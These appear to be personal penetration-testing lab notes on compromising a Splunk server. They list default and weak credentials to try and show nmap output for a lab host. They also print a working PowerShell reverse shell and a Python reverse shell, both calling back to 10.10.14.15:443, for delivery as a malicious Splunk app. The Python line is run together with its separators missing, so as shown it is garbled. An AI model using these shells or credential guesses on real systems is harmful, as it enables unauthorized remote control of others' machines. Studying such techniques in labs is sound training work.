The Splunk web server runs by default on port 8000. On older versions of Splunk, the default credentials are admin:changeme
If the default credentials do not work, it is worth checking for common weak passwords such as admin, Welcome, Welcome1, Password123, etc.
$ sudo nmap -sV 10.129.201.50
Starting Nmap 7.80 ( https://nmap.org ) at 2021-09-22 08:43 EDT
Nmap scan report for 10.129.201.50
Host is up (0.11s latency).
Not shown: 991 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
3389/tcp open ms-wbt-server Microsoft Terminal Services
5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
8000/tcp open ssl/http Splunkd httpd
8080/tcp open http Indy httpd 17.3.33.2830 (Paessler PRTG bandwidth monitor)
8089/tcp open ssl/http Splunkd httpd
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 39.22 seconds
Enumeration
The Splunk Enterprise trial converts to a free version after 60 days, which doesn’t require authentication.
Abusing Built-In Functionality
See OffShore WU
Reverse shell
Windows
run.ps1
#A simple and small reverse shell. Options and help removed to save space.
#Uncomment and change the hardcoded IP address and port number in the below line. Remove all help comments as well.
$client = New-Object System.Net.Sockets.TCPClient('10.10.14.15',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
Edit the rev.py Python script before creating the tarball and uploading the custom malicious app
import sys,socket,os,ptyip="10.10.14.15"port="443"s=socket.socket()s.connect((ip,int(port)))[os.dup2(s.fileno(),fd)for fd in (0,1,2)]pty.spawn('/bin/bash')
